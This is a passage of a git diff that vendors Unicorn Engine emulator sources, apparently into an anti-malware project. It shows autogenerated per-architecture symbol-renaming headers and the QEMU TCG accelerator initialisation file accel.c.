+#define type_initialize type_initialize_aarch64eb +#define type_initialize_interface type_initialize_interface_aarch64eb +#define type_is_ancestor type_is_ancestor_aarch64eb +#define type_new type_new_aarch64eb +#define type_object_get_size type_object_get_size_aarch64eb +#define type_register_internal type_register_internal_aarch64eb +#define type_table_add type_table_add_aarch64eb +#define type_table_get type_table_get_aarch64eb +#define type_table_lookup type_table_lookup_aarch64eb +#define uint16_to_float32 uint16_to_float32_aarch64eb +#define uint16_to_float64 uint16_to_float64_aarch64eb +#define uint32_to_float32 uint32_to_float32_aarch64eb +#define uint32_to_float64 uint32_to_float64_aarch64eb +#define uint64_to_float128 uint64_to_float128_aarch64eb +#define uint64_to_float32 uint64_to_float32_aarch64eb +#define uint64_to_float64 uint64_to_float64_aarch64eb +#define unassigned_io_ops unassigned_io_ops_aarch64eb +#define unassigned_io_read unassigned_io_read_aarch64eb +#define unassigned_io_write unassigned_io_write_aarch64eb +#define unassigned_mem_accepts unassigned_mem_accepts_aarch64eb +#define unassigned_mem_ops unassigned_mem_ops_aarch64eb +#define unassigned_mem_read unassigned_mem_read_aarch64eb +#define unassigned_mem_write unassigned_mem_write_aarch64eb +#define update_spsel update_spsel_aarch64eb +#define v6_cp_reginfo v6_cp_reginfo_aarch64eb +#define v6k_cp_reginfo v6k_cp_reginfo_aarch64eb +#define v7_cp_reginfo v7_cp_reginfo_aarch64eb +#define v7mp_cp_reginfo v7mp_cp_reginfo_aarch64eb +#define v7m_pop v7m_pop_aarch64eb +#define v7m_push v7m_push_aarch64eb +#define v8_cp_reginfo v8_cp_reginfo_aarch64eb +#define v8_el2_cp_reginfo v8_el2_cp_reginfo_aarch64eb +#define v8_el3_cp_reginfo v8_el3_cp_reginfo_aarch64eb +#define v8_el3_no_el2_cp_reginfo v8_el3_no_el2_cp_reginfo_aarch64eb +#define vapa_cp_reginfo vapa_cp_reginfo_aarch64eb +#define vbar_write vbar_write_aarch64eb +#define vfp_exceptbits_from_host vfp_exceptbits_from_host_aarch64eb +#define vfp_exceptbits_to_host vfp_exceptbits_to_host_aarch64eb +#define vfp_get_fpcr vfp_get_fpcr_aarch64eb +#define vfp_get_fpscr vfp_get_fpscr_aarch64eb +#define vfp_get_fpsr vfp_get_fpsr_aarch64eb +#define vfp_reg_offset vfp_reg_offset_aarch64eb +#define vfp_set_fpcr vfp_set_fpcr_aarch64eb +#define vfp_set_fpscr vfp_set_fpscr_aarch64eb +#define vfp_set_fpsr vfp_set_fpsr_aarch64eb +#define visit_end_implicit_struct visit_end_implicit_struct_aarch64eb +#define visit_end_list visit_end_list_aarch64eb +#define visit_end_struct visit_end_struct_aarch64eb +#define visit_end_union visit_end_union_aarch64eb +#define visit_get_next_type visit_get_next_type_aarch64eb +#define visit_next_list visit_next_list_aarch64eb +#define visit_optional visit_optional_aarch64eb +#define visit_start_implicit_struct visit_start_implicit_struct_aarch64eb +#define visit_start_list visit_start_list_aarch64eb +#define visit_start_struct visit_start_struct_aarch64eb +#define visit_start_union visit_start_union_aarch64eb +#define vmsa_cp_reginfo vmsa_cp_reginfo_aarch64eb +#define vmsa_tcr_el1_write vmsa_tcr_el1_write_aarch64eb +#define vmsa_ttbcr_raw_write vmsa_ttbcr_raw_write_aarch64eb +#define vmsa_ttbcr_reset vmsa_ttbcr_reset_aarch64eb +#define vmsa_ttbcr_write vmsa_ttbcr_write_aarch64eb +#define vmsa_ttbr_write vmsa_ttbr_write_aarch64eb +#define write_cpustate_to_list write_cpustate_to_list_aarch64eb +#define write_list_to_cpustate write_list_to_cpustate_aarch64eb +#define write_raw_cp_reg write_raw_cp_reg_aarch64eb +#define X86CPURegister32_lookup X86CPURegister32_lookup_aarch64eb +#define x86_op_defs x86_op_defs_aarch64eb +#define xpsr_read xpsr_read_aarch64eb +#define xpsr_write xpsr_write_aarch64eb +#define xscale_cpar_write xscale_cpar_write_aarch64eb +#define xscale_cp_reginfo xscale_cp_reginfo_aarch64eb +#define ARM64_REGS_STORAGE_SIZE ARM64_REGS_STORAGE_SIZE_aarch64eb +#define arm64_release arm64_release_aarch64eb +#define arm64_reg_reset arm64_reg_reset_aarch64eb +#define arm64_reg_read arm64_reg_read_aarch64eb +#define arm64_reg_write arm64_reg_write_aarch64eb +#define gen_a64_set_pc_im gen_a64_set_pc_im_aarch64eb +#define aarch64_cpu_register_types aarch64_cpu_register_types_aarch64eb +#define helper_udiv64 helper_udiv64_aarch64eb +#define helper_sdiv64 helper_sdiv64_aarch64eb +#define helper_cls64 helper_cls64_aarch64eb +#define helper_cls32 helper_cls32_aarch64eb +#define helper_rbit64 helper_rbit64_aarch64eb +#define helper_vfp_cmps_a64 helper_vfp_cmps_a64_aarch64eb +#define helper_vfp_cmpes_a64 helper_vfp_cmpes_a64_aarch64eb +#define helper_vfp_cmpd_a64 helper_vfp_cmpd_a64_aarch64eb +#define helper_vfp_cmped_a64 helper_vfp_cmped_a64_aarch64eb +#define helper_vfp_mulxs helper_vfp_mulxs_aarch64eb +#define helper_vfp_mulxd helper_vfp_mulxd_aarch64eb +#define helper_simd_tbl helper_simd_tbl_aarch64eb +#define helper_neon_ceq_f64 helper_neon_ceq_f64_aarch64eb +#define helper_neon_cge_f64 helper_neon_cge_f64_aarch64eb +#define helper_neon_cgt_f64 helper_neon_cgt_f64_aarch64eb +#define helper_recpsf_f32 helper_recpsf_f32_aarch64eb +#define helper_recpsf_f64 helper_recpsf_f64_aarch64eb +#define helper_rsqrtsf_f32 helper_rsqrtsf_f32_aarch64eb +#define helper_rsqrtsf_f64 helper_rsqrtsf_f64_aarch64eb +#define helper_neon_addlp_s8 helper_neon_addlp_s8_aarch64eb +#define helper_neon_addlp_u8 helper_neon_addlp_u8_aarch64eb +#define helper_neon_addlp_s16 helper_neon_addlp_s16_aarch64eb +#define helper_neon_addlp_u16 helper_neon_addlp_u16_aarch64eb +#define helper_frecpx_f32 helper_frecpx_f32_aarch64eb +#define helper_frecpx_f64 helper_frecpx_f64_aarch64eb +#define helper_fcvtx_f64_to_f32 helper_fcvtx_f64_to_f32_aarch64eb +#define helper_crc32_64 helper_crc32_64_aarch64eb +#define helper_crc32c_64 helper_crc32c_64_aarch64eb +#define aarch64_cpu_do_interrupt aarch64_cpu_do_interrupt_aarch64eb +#endif diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/accel.c b/ai_anti_malware/unicorn/unicorn-master/qemu/accel.c new file mode 100644 index 0000000..be1e87a --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/accel.c @@ -0,0 +1,130 @@ +/* + * QEMU System Emulator, accelerator interfaces + * + * Copyright (c) 2003-2008 Fabrice Bellard + * Copyright (c) 2014 Red Hat Inc. + * + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in + * all copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL + * THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN + * THE SOFTWARE. + */ + +/* Modified for Unicorn Engine by Nguyen Anh Quynh, 2015 */ + +#include "sysemu/accel.h" +#include "hw/boards.h" +#include "qemu-common.h" +#include "sysemu/sysemu.h" +#include "qom/object.h" +#include "hw/boards.h" + +// use default size for TCG translated block +#define TCG_TB_SIZE 0 + +static bool tcg_allowed = true; +static int tcg_init(MachineState *ms); +static AccelClass *accel_find(struct uc_struct *uc, const char *opt_name); +static int accel_init_machine(AccelClass *acc, MachineState *ms); +static void tcg_accel_class_init(struct uc_struct *uc, ObjectClass *oc, void *data); + +static int tcg_init(MachineState *ms) +{ + ms->uc->tcg_exec_init(ms->uc, TCG_TB_SIZE * 1024 * 1024); // arch-dependent + return 0; +} + +static const TypeInfo accel_type = { + TYPE_ACCEL, + TYPE_OBJECT, + sizeof(AccelClass), + sizeof(AccelState), +}; + +#define TYPE_TCG_ACCEL ACCEL_CLASS_NAME("tcg") + +static const TypeInfo tcg_accel_type = { + TYPE_TCG_ACCEL, + TYPE_ACCEL, + 0, + 0, + NULL, + NULL, + NULL, + NULL, + NULL, + tcg_accel_class_init, +}; + + +int configure_accelerator(MachineState *ms) +{ + int ret; + bool accel_initialised = false; + AccelClass *acc; + + acc = accel_find(ms->uc, "tcg"); + ret = accel_init_machine(acc, ms); + if (ret < 0) { + fprintf(stderr, "failed to initialize %s: %s\n", + acc->name, + strerror(-ret)); + } else { + accel_initialised = true; + } + + return !accel_initialised; +} + +void register_accel_types(struct uc_struct *uc) +{ + type_register_static(uc, &accel_type); + type_register_static(uc, &tcg_accel_type); +} + +static void tcg_accel_class_init(struct uc_struct *uc, ObjectClass *oc, void *data) +{ + AccelClass *ac = ACCEL_CLASS(uc, oc); + ac->name = "tcg"; + ac->init_machine = tcg_init; + ac->allowed = &tcg_allowed; +} + +/* Lookup AccelClass from opt_name. Returns NULL if not found */ +static AccelClass *accel_find(struct uc_struct *uc, const char *opt_name) +{ + char *class_name = g_strdup_printf(ACCEL_CLASS_NAME("%s"), opt_name); + AccelClass *ac = ACCEL_CLASS(uc, object_class_by_name(uc, class_name)); + g_free(class_name); + return ac; +} + +static int accel_init_machine(AccelClass *acc, MachineState *ms) +{ + ObjectClass *oc = OBJECT_CLASS(acc); + const char *cname = object_class_get_name(oc); + AccelState *accel = ACCEL(ms->uc, object_new(ms->uc, cname)); + int ret; + ms->accelerator = accel; + *(acc->allowed) = true; + ret = acc->init_machine(ms); + if (ret < 0) { + ms->accelerator = NULL; + *(acc->allowed) = false; + object_unref(ms->uc, OBJECT(accel)); + } + return ret; +} diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/arm.h b/ai_anti_malware/unicorn/unicorn-master/qemu/arm.h new file mode 100644 index 0000000..87d0203 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/arm.h @@ -0,0 +1,3021 @@ +/* Autogen header for Unicorn Engine - DONOT MODIFY */ +#ifndef UNICORN_AUTOGEN_ARM_H +#define UNICORN_AUTOGEN_ARM_H +#define arm_release arm_release_arm +#define aarch64_tb_set_jmp_target aarch64_tb_set_jmp_target_arm +#define ppc_tb_set_jmp_target ppc_tb_set_jmp_target_arm +#define use_idiv_instructions_rt use_idiv_instructions_rt_arm +#define tcg_target_deposit_valid tcg_target_deposit_valid_arm +#define helper_power_down helper_power_down_arm +#define check_exit_request check_exit_request_arm +#define address_space_unregister address_space_unregister_arm +#define tb_invalidate_phys_page_fast tb_invalidate_phys_page_fast_arm +#define phys_mem_clean phys_mem_clean_arm +#define tb_cleanup tb_cleanup_arm +#define memory_map memory_map_arm +#define memory_map_ptr memory_map_ptr_arm +#define memory_unmap memory_unmap_arm +#define memory_free memory_free_arm +#define free_code_gen_buffer free_code_gen_buffer_arm +#define helper_raise_exception helper_raise_exception_arm +#define tcg_enabled tcg_enabled_arm +#define tcg_exec_init tcg_exec_init_arm +#define memory_register_types memory_register_types_arm +#define cpu_exec_init_all cpu_exec_init_all_arm +#define vm_start vm_start_arm +#define resume_all_vcpus resume_all_vcpus_arm +#define a15_l2ctlr_read a15_l2ctlr_read_arm +#define a64_translate_init a64_translate_init_arm +#define aa32_generate_debug_exceptions aa32_generate_debug_exceptions_arm +#define aa64_cacheop_access aa64_cacheop_access_arm +#define aa64_daif_access aa64_daif_access_arm +#define aa64_daif_write aa64_daif_write_arm +#define aa64_dczid_read aa64_dczid_read_arm +#define aa64_fpcr_read aa64_fpcr_read_arm +#define aa64_fpcr_write aa64_fpcr_write_arm +#define aa64_fpsr_read aa64_fpsr_read_arm +#define aa64_fpsr_write aa64_fpsr_write_arm +#define aa64_generate_debug_exceptions aa64_generate_debug_exceptions_arm +#define aa64_zva_access aa64_zva_access_arm +#define aarch64_banked_spsr_index aarch64_banked_spsr_index_arm +#define aarch64_restore_sp aarch64_restore_sp_arm +#define aarch64_save_sp aarch64_save_sp_arm +#define accel_find accel_find_arm +#define accel_init_machine accel_init_machine_arm +#define accel_type accel_type_arm +#define access_with_adjusted_size access_with_adjusted_size_arm +#define add128 add128_arm +#define add16_sat add16_sat_arm +#define add16_usat add16_usat_arm +#define add192 add192_arm +#define add8_sat add8_sat_arm +#define add8_usat add8_usat_arm +#define add_cpreg_to_hashtable add_cpreg_to_hashtable_arm +#define add_cpreg_to_list add_cpreg_to_list_arm +#define addFloat128Sigs addFloat128Sigs_arm +#define addFloat32Sigs addFloat32Sigs_arm +#define addFloat64Sigs addFloat64Sigs_arm +#define addFloatx80Sigs addFloatx80Sigs_arm +#define add_qemu_ldst_label add_qemu_ldst_label_arm +#define address_space_access_valid address_space_access_valid_arm +#define address_space_destroy address_space_destroy_arm +#define address_space_destroy_dispatch address_space_destroy_dispatch_arm +#define address_space_get_flatview address_space_get_flatview_arm +#define address_space_init address_space_init_arm +#define address_space_init_dispatch address_space_init_dispatch_arm +#define address_space_lookup_region address_space_lookup_region_arm +#define address_space_map address_space_map_arm +#define address_space_read address_space_read_arm +#define address_space_rw address_space_rw_arm +#define address_space_translate address_space_translate_arm +#define address_space_translate_for_iotlb address_space_translate_for_iotlb_arm +#define address_space_translate_internal address_space_translate_internal_arm +#define address_space_unmap address_space_unmap_arm +#define address_space_update_topology address_space_update_topology_arm +#define address_space_update_topology_pass address_space_update_topology_pass_arm +#define address_space_write address_space_write_arm +#define addrrange_contains addrrange_contains_arm +#define addrrange_end addrrange_end_arm +#define addrrange_equal addrrange_equal_arm +#define addrrange_intersection addrrange_intersection_arm +#define addrrange_intersects addrrange_intersects_arm +#define addrrange_make addrrange_make_arm +#define adjust_endianness adjust_endianness_arm +#define all_helpers all_helpers_arm +#define alloc_code_gen_buffer alloc_code_gen_buffer_arm +#define alloc_entry alloc_entry_arm +#define always_true always_true_arm +#define arm1026_initfn arm1026_initfn_arm +#define arm1136_initfn arm1136_initfn_arm +#define arm1136_r2_initfn arm1136_r2_initfn_arm +#define arm1176_initfn arm1176_initfn_arm +#define arm11mpcore_initfn arm11mpcore_initfn_arm +#define arm926_initfn arm926_initfn_arm +#define arm946_initfn arm946_initfn_arm +#define arm_ccnt_enabled arm_ccnt_enabled_arm +#define arm_cp_read_zero arm_cp_read_zero_arm +#define arm_cp_reset_ignore arm_cp_reset_ignore_arm +#define arm_cpu_do_interrupt arm_cpu_do_interrupt_arm +#define arm_cpu_exec_interrupt arm_cpu_exec_interrupt_arm +#define arm_cpu_finalizefn arm_cpu_finalizefn_arm +#define arm_cpu_get_phys_page_debug arm_cpu_get_phys_page_debug_arm +#define arm_cpu_handle_mmu_fault arm_cpu_handle_mmu_fault_arm +#define arm_cpu_initfn arm_cpu_initfn_arm +#define arm_cpu_list arm_cpu_list_arm +#define cpu_loop_exit cpu_loop_exit_arm +#define arm_cpu_post_init arm_cpu_post_init_arm +#define arm_cpu_realizefn arm_cpu_realizefn_arm +#define arm_cpu_register_gdb_regs_for_features arm_cpu_register_gdb_regs_for_features_arm +#define arm_cpu_register_types arm_cpu_register_types_arm +#define cpu_resume_from_signal cpu_resume_from_signal_arm +#define arm_cpus arm_cpus_arm +#define arm_cpu_set_pc arm_cpu_set_pc_arm +#define arm_cp_write_ignore arm_cp_write_ignore_arm +#define arm_current_el arm_current_el_arm +#define arm_dc_feature arm_dc_feature_arm +#define arm_debug_excp_handler arm_debug_excp_handler_arm +#define arm_debug_target_el arm_debug_target_el_arm +#define arm_el_is_aa64 arm_el_is_aa64_arm +#define arm_env_get_cpu arm_env_get_cpu_arm +#define arm_excp_target_el arm_excp_target_el_arm +#define arm_excp_unmasked arm_excp_unmasked_arm +#define arm_feature arm_feature_arm +#define arm_generate_debug_exceptions arm_generate_debug_exceptions_arm +#define gen_intermediate_code gen_intermediate_code_arm +#define gen_intermediate_code_pc gen_intermediate_code_pc_arm +#define arm_gen_test_cc arm_gen_test_cc_arm +#define arm_gt_ptimer_cb arm_gt_ptimer_cb_arm +#define arm_gt_vtimer_cb arm_gt_vtimer_cb_arm +#define arm_handle_psci_call arm_handle_psci_call_arm +#define arm_is_psci_call arm_is_psci_call_arm +#define arm_is_secure arm_is_secure_arm +#define arm_is_secure_below_el3 arm_is_secure_below_el3_arm +#define arm_ldl_code arm_ldl_code_arm +#define arm_lduw_code arm_lduw_code_arm +#define arm_log_exception arm_log_exception_arm +#define arm_reg_read arm_reg_read_arm +#define arm_reg_reset arm_reg_reset_arm +#define arm_reg_write arm_reg_write_arm +#define restore_state_to_opc restore_state_to_opc_arm +#define arm_rmode_to_sf arm_rmode_to_sf_arm +#define arm_singlestep_active arm_singlestep_active_arm +#define tlb_fill tlb_fill_arm +#define tlb_flush tlb_flush_arm +#define tlb_flush_page tlb_flush_page_arm +#define tlb_set_page tlb_set_page_arm +#define arm_translate_init arm_translate_init_arm +#define arm_v7m_class_init arm_v7m_class_init_arm +#define arm_v7m_cpu_do_interrupt arm_v7m_cpu_do_interrupt_arm +#define ats_access ats_access_arm +#define ats_write ats_write_arm +#define bad_mode_switch bad_mode_switch_arm +#define bank_number bank_number_arm +#define bitmap_zero_extend bitmap_zero_extend_arm +#define bp_wp_matches bp_wp_matches_arm +#define breakpoint_invalidate breakpoint_invalidate_arm +#define build_page_bitmap build_page_bitmap_arm +#define bus_add_child bus_add_child_arm +#define bus_class_init bus_class_init_arm +#define bus_info bus_info_arm +#define bus_unparent bus_unparent_arm +#define cache_block_ops_cp_reginfo cache_block_ops_cp_reginfo_arm +#define cache_dirty_status_cp_reginfo cache_dirty_status_cp_reginfo_arm +#define cache_test_clean_cp_reginfo cache_test_clean_cp_reginfo_arm +#define call_recip_estimate call_recip_estimate_arm +#define can_merge can_merge_arm +#define capacity_increase capacity_increase_arm +#define ccsidr_read ccsidr_read_arm +#define check_ap check_ap_arm +#define check_breakpoints check_breakpoints_arm +#define check_watchpoints check_watchpoints_arm +#define cho cho_arm +#define clear_bit clear_bit_arm +#define clz32 clz32_arm +#define clz64 clz64_arm +#define cmp_flatrange_addr cmp_flatrange_addr_arm +#define code_gen_alloc code_gen_alloc_arm +#define commonNaNToFloat128 commonNaNToFloat128_arm +#define commonNaNToFloat16 commonNaNToFloat16_arm +#define commonNaNToFloat32 commonNaNToFloat32_arm +#define commonNaNToFloat64 commonNaNToFloat64_arm +#define commonNaNToFloatx80 commonNaNToFloatx80_arm +#define compute_abs_deadline compute_abs_deadline_arm +#define cond_name cond_name_arm +#define configure_accelerator configure_accelerator_arm +#define container_get container_get_arm +#define container_info container_info_arm +#define container_register_types container_register_types_arm +#define contextidr_write contextidr_write_arm +#define core_log_global_start core_log_global_start_arm +#define core_log_global_stop core_log_global_stop_arm +#define core_memory_listener core_memory_listener_arm +#define cortexa15_cp_reginfo cortexa15_cp_reginfo_arm +#define cortex_a15_initfn cortex_a15_initfn_arm +#define cortexa8_cp_reginfo cortexa8_cp_reginfo_arm +#define cortex_a8_initfn cortex_a8_initfn_arm +#define cortexa9_cp_reginfo cortexa9_cp_reginfo_arm +#define cortex_a9_initfn cortex_a9_initfn_arm +#define cortex_m3_initfn cortex_m3_initfn_arm +#define count_cpreg count_cpreg_arm +#define countLeadingZeros32 countLeadingZeros32_arm +#define countLeadingZeros64 countLeadingZeros64_arm +#define cp_access_ok cp_access_ok_arm +#define cpacr_write cpacr_write_arm +#define cpreg_field_is_64bit cpreg_field_is_64bit_arm +#define cp_reginfo cp_reginfo_arm +#define cpreg_key_compare cpreg_key_compare_arm +#define cpreg_make_keylist cpreg_make_keylist_arm +#define cp_reg_reset cp_reg_reset_arm +#define cpreg_to_kvm_id cpreg_to_kvm_id_arm +#define cpsr_read cpsr_read_arm +#define cpsr_write cpsr_write_arm +#define cptype_valid cptype_valid_arm +#define cpu_abort cpu_abort_arm +#define cpu_arm_exec cpu_arm_exec_arm +#define cpu_arm_gen_code cpu_arm_gen_code_arm +#define cpu_arm_init cpu_arm_init_arm +#define cpu_breakpoint_insert cpu_breakpoint_insert_arm +#define cpu_breakpoint_remove cpu_breakpoint_remove_arm +#define cpu_breakpoint_remove_all cpu_breakpoint_remove_all_arm +#define cpu_breakpoint_remove_by_ref cpu_breakpoint_remove_by_ref_arm +#define cpu_can_do_io cpu_can_do_io_arm +#define cpu_can_run cpu_can_run_arm +#define cpu_class_init cpu_class_init_arm +#define cpu_common_class_by_name cpu_common_class_by_name_arm +#define cpu_common_exec_interrupt cpu_common_exec_interrupt_arm +#define cpu_common_get_arch_id cpu_common_get_arch_id_arm +#define cpu_common_get_memory_mapping cpu_common_get_memory_mapping_arm +#define cpu_common_get_paging_enabled cpu_common_get_paging_enabled_arm +#define cpu_common_has_work cpu_common_has_work_arm +#define cpu_common_initfn cpu_common_initfn_arm +#define cpu_common_noop cpu_common_noop_arm +#define cpu_common_parse_features cpu_common_parse_features_arm +#define cpu_common_realizefn cpu_common_realizefn_arm +#define cpu_common_reset cpu_common_reset_arm +#define cpu_dump_statistics cpu_dump_statistics_arm +#define cpu_exec_init cpu_exec_init_arm +#define cpu_flush_icache_range cpu_flush_icache_range_arm +#define cpu_gen_init cpu_gen_init_arm +#define cpu_get_clock cpu_get_clock_arm +#define cpu_get_real_ticks cpu_get_real_ticks_arm +#define cpu_get_tb_cpu_state cpu_get_tb_cpu_state_arm +#define cpu_handle_debug_exception cpu_handle_debug_exception_arm +#define cpu_handle_guest_debug cpu_handle_guest_debug_arm +#define cpu_inb cpu_inb_arm +#define cpu_inl cpu_inl_arm +#define cpu_interrupt cpu_interrupt_arm +#define cpu_interrupt_handler cpu_interrupt_handler_arm +#define cpu_inw cpu_inw_arm +#define cpu_io_recompile cpu_io_recompile_arm +#define cpu_is_stopped cpu_is_stopped_arm +#define cpu_ldl_code cpu_ldl_code_arm +#define cpu_ldub_code cpu_ldub_code_arm +#define cpu_lduw_code cpu_lduw_code_arm +#define cpu_memory_rw_debug cpu_memory_rw_debug_arm +#define cpu_mmu_index cpu_mmu_index_arm +#define cpu_outb cpu_outb_arm +#define cpu_outl cpu_outl_arm +#define cpu_outw cpu_outw_arm +#define cpu_physical_memory_clear_dirty_range cpu_physical_memory_clear_dirty_range_arm +#define cpu_physical_memory_get_clean cpu_physical_memory_get_clean_arm +#define cpu_physical_memory_get_dirty cpu_physical_memory_get_dirty_arm +#define cpu_physical_memory_get_dirty_flag cpu_physical_memory_get_dirty_flag_arm +#define cpu_physical_memory_is_clean cpu_physical_memory_is_clean_arm +#define cpu_physical_memory_is_io cpu_physical_memory_is_io_arm +#define cpu_physical_memory_map cpu_physical_memory_map_arm +#define cpu_physical_memory_range_includes_clean cpu_physical_memory_range_includes_clean_arm +#define cpu_physical_memory_reset_dirty cpu_physical_memory_reset_dirty_arm +#define cpu_physical_memory_rw cpu_physical_memory_rw_arm +#define cpu_physical_memory_set_dirty_flag cpu_physical_memory_set_dirty_flag_arm +#define cpu_physical_memory_set_dirty_range cpu_physical_memory_set_dirty_range_arm +#define cpu_physical_memory_unmap cpu_physical_memory_unmap_arm +#define cpu_physical_memory_write_rom cpu_physical_memory_write_rom_arm +#define cpu_physical_memory_write_rom_internal cpu_physical_memory_write_rom_internal_arm +#define cpu_register cpu_register_arm +#define cpu_register_types cpu_register_types_arm +#define cpu_restore_state cpu_restore_state_arm +#define cpu_restore_state_from_tb cpu_restore_state_from_tb_arm +#define cpu_single_step cpu_single_step_arm +#define cpu_tb_exec cpu_tb_exec_arm +#define cpu_tlb_reset_dirty_all cpu_tlb_reset_dirty_all_arm +#define cpu_to_be64 cpu_to_be64_arm +#define cpu_to_le32 cpu_to_le32_arm +#define cpu_to_le64 cpu_to_le64_arm +#define cpu_type_info cpu_type_info_arm +#define cpu_unassigned_access cpu_unassigned_access_arm +#define cpu_watchpoint_address_matches cpu_watchpoint_address_matches_arm +#define cpu_watchpoint_insert cpu_watchpoint_insert_arm +#define cpu_watchpoint_remove cpu_watchpoint_remove_arm +#define cpu_watchpoint_remove_all cpu_watchpoint_remove_all_arm +#define cpu_watchpoint_remove_by_ref cpu_watchpoint_remove_by_ref_arm +#define crc32c_table crc32c_table_arm +#define create_new_memory_mapping create_new_memory_mapping_arm +#define csselr_write csselr_write_arm +#define cto32 cto32_arm +#define ctr_el0_access ctr_el0_access_arm +#define ctz32 ctz32_arm +#define ctz64 ctz64_arm +#define dacr_write dacr_write_arm +#define dbgbcr_write dbgbcr_write_arm +#define dbgbvr_write dbgbvr_write_arm +#define dbgwcr_write dbgwcr_write_arm +#define dbgwvr_write dbgwvr_write_arm +#define debug_cp_reginfo debug_cp_reginfo_arm +#define debug_frame debug_frame_arm +#define debug_lpae_cp_reginfo debug_lpae_cp_reginfo_arm +#define define_arm_cp_regs define_arm_cp_regs_arm +#define define_arm_cp_regs_with_opaque define_arm_cp_regs_with_opaque_arm +#define define_debug_regs define_debug_regs_arm +#define define_one_arm_cp_reg define_one_arm_cp_reg_arm +#define define_one_arm_cp_reg_with_opaque define_one_arm_cp_reg_with_opaque_arm +#define deposit32 deposit32_arm +#define deposit64 deposit64_arm +#define deregister_tm_clones deregister_tm_clones_arm +#define device_class_base_init device_class_base_init_arm +#define device_class_init device_class_init_arm +#define device_finalize device_finalize_arm +#define device_get_realized device_get_realized_arm +#define device_initfn device_initfn_arm +#define device_post_init device_post_init_arm +#define device_reset device_reset_arm +#define device_set_realized device_set_realized_arm +#define device_type_info device_type_info_arm +#define disas_arm_insn disas_arm_insn_arm +#define disas_coproc_insn disas_coproc_insn_arm +#define disas_dsp_insn disas_dsp_insn_arm +#define disas_iwmmxt_insn disas_iwmmxt_insn_arm +#define disas_neon_data_insn disas_neon_data_insn_arm +#define disas_neon_ls_insn disas_neon_ls_insn_arm +#define disas_thumb2_insn disas_thumb2_insn_arm +#define disas_thumb_insn disas_thumb_insn_arm +#define disas_vfp_insn disas_vfp_insn_arm +#define disas_vfp_v8_insn disas_vfp_v8_insn_arm +#define do_arm_semihosting do_arm_semihosting_arm +#define do_clz16 do_clz16_arm +#define do_clz8 do_clz8_arm +#define do_constant_folding do_constant_folding_arm +#define do_constant_folding_2 do_constant_folding_2_arm +#define do_constant_folding_cond do_constant_folding_cond_arm +#define do_constant_folding_cond2 do_constant_folding_cond2_arm +#define do_constant_folding_cond_32 do_constant_folding_cond_32_arm +#define do_constant_folding_cond_64 do_constant_folding_cond_64_arm +#define do_constant_folding_cond_eq do_constant_folding_cond_eq_arm +#define do_fcvt_f16_to_f32 do_fcvt_f16_to_f32_arm +#define do_fcvt_f32_to_f16 do_fcvt_f32_to_f16_arm +#define do_ssat do_ssat_arm +#define do_usad do_usad_arm +#define do_usat do_usat_arm +#define do_v7m_exception_exit do_v7m_exception_exit_arm +#define dummy_c15_cp_reginfo dummy_c15_cp_reginfo_arm +#define dummy_func dummy_func_arm +#define dummy_section dummy_section_arm +#define _DYNAMIC _DYNAMIC_arm +#define _edata _edata_arm +#define _end _end_arm +#define end_list end_list_arm +#define eq128 eq128_arm +#define ErrorClass_lookup ErrorClass_lookup_arm +#define error_copy error_copy_arm +#define error_exit error_exit_arm +#define error_get_class error_get_class_arm +#define error_get_pretty error_get_pretty_arm +#define error_setg_file_open error_setg_file_open_arm +#define estimateDiv128To64 estimateDiv128To64_arm +#define estimateSqrt32 estimateSqrt32_arm +#define excnames excnames_arm +#define excp_is_internal excp_is_internal_arm +#define extended_addresses_enabled extended_addresses_enabled_arm +#define extended_mpu_ap_bits extended_mpu_ap_bits_arm +#define extract32 extract32_arm +#define extract64 extract64_arm +#define extractFloat128Exp extractFloat128Exp_arm +#define extractFloat128Frac0 extractFloat128Frac0_arm +#define extractFloat128Frac1 extractFloat128Frac1_arm +#define extractFloat128Sign extractFloat128Sign_arm +#define extractFloat16Exp extractFloat16Exp_arm +#define extractFloat16Frac extractFloat16Frac_arm +#define extractFloat16Sign extractFloat16Sign_arm +#define extractFloat32Exp extractFloat32Exp_arm +#define extractFloat32Frac extractFloat32Frac_arm +#define extractFloat32Sign extractFloat32Sign_arm +#define extractFloat64Exp extractFloat64Exp_arm +#define extractFloat64Frac extractFloat64Frac_arm +#define extractFloat64Sign extractFloat64Sign_arm +#define extractFloatx80Exp extractFloatx80Exp_arm +#define extractFloatx80Frac extractFloatx80Frac_arm +#define extractFloatx80Sign extractFloatx80Sign_arm +#define fcse_write fcse_write_arm +#define find_better_copy find_better_copy_arm +#define find_default_machine find_default_machine_arm +#define find_desc_by_name find_desc_by_name_arm +#define find_first_bit find_first_bit_arm +#define find_paging_enabled_cpu find_paging_enabled_cpu_arm +#define find_ram_block find_ram_block_arm +#define find_ram_offset find_ram_offset_arm +#define find_string find_string_arm +#define find_type find_type_arm +#define _fini _fini_arm +#define flatrange_equal flatrange_equal_arm +#define flatview_destroy flatview_destroy_arm +#define flatview_init flatview_init_arm +#define flatview_insert flatview_insert_arm +#define flatview_lookup flatview_lookup_arm +#define flatview_ref flatview_ref_arm +#define flatview_simplify flatview_simplify_arm +#define flatview_unref flatview_unref_arm +#define float128_add float128_add_arm +#define float128_compare float128_compare_arm +#define float128_compare_internal float128_compare_internal_arm +#define float128_compare_quiet float128_compare_quiet_arm +#define float128_default_nan float128_default_nan_arm +#define float128_div float128_div_arm +#define float128_eq float128_eq_arm +#define float128_eq_quiet float128_eq_quiet_arm +#define 